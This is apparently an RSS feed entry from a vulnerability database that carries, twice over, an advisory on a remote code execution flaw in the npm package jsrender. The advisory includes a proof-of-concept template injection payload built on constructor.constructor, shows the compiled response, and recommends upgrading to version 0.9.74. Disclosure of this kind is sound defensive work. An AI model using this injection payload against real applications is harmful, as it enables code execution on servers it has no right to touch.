https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Wed, 21 Oct 2026 03:04:28 +0000 https://db.gcve.eu/vuln/ghsa-r87w-47m8-22w3 <p><strong>Affected:</strong> npm: jsrender</p> <p>Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.</p> <p>## Proof of Concept</p> <p>```js //POC-REQUEST {{for ~x!=1?(constructor.constructor(&#34;return arguments.callee.caller&#34;)()):~y(10)}} {{:#data}} {{/for}} ```</p> <p>```js //POC-RESPONSE function anonymous(data,view,j,u) { // template var v,t=j._tag,ret=&#34;&#34; +t(&#34;for&#34;,view,this,[ {view:view,tmpl:1, params:{args:[&#39;~x!=1?(constructor.constructor(\&#34;return arguments.callee.caller\&#34;)()):~y(10)&#39;]}, args:[view.hlp(&#34;x&#34;)!=1?(data.constructor.constructor(&#34;return arguments.callee.caller&#34;)()):view.hlp(&#34;y&#34;)(10)], props:{}}]); return ret; } ```</p> <p>## Recommendation</p> <p>Update to version 0.9.74 or later.</p> <p><strong>Affected:</strong> npm: jsrender</p> <p>Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.</p> <p>## Proof of Concept</p> <p>```js //POC-REQUEST {{for ~x!=1?(constructor.constructor(&#34;return arguments.callee.caller&#34;)()):~y(10)}} {{:#data}} {{/for}} ```</p> <p>```js //POC-RESPONSE function anonymous(data,view,j,u) { // template var v,t=j._tag,ret=&#34;&#34; +t(&#34;for&#34;,view,this,[ {view:view,tmpl:1, params:{args:[&#39;~x!=1?(constructor.constructor(\&#34;return arguments.callee.caller\&#34;)()):~y(10)&#39;]}, args:[view.hlp(&#34;x&#34;)!=1?(data.constructor.constructor(&#34;return arguments.callee.caller&#34;)()):view.hlp(&#34;y&#34;)(10)], props:{}}]); return ret; } ```</p> <p>## Recommendation</p> <p>Update to version 0.9.74 or later.</p> https://db.gcve.eu/vuln/ghsa-r87w-47m8-22w3 https://db.gcve.eu/vuln/gsd-2016-3942 gsd-2016-3942 https://db.gcve.eu/vuln/gsd-2016-3942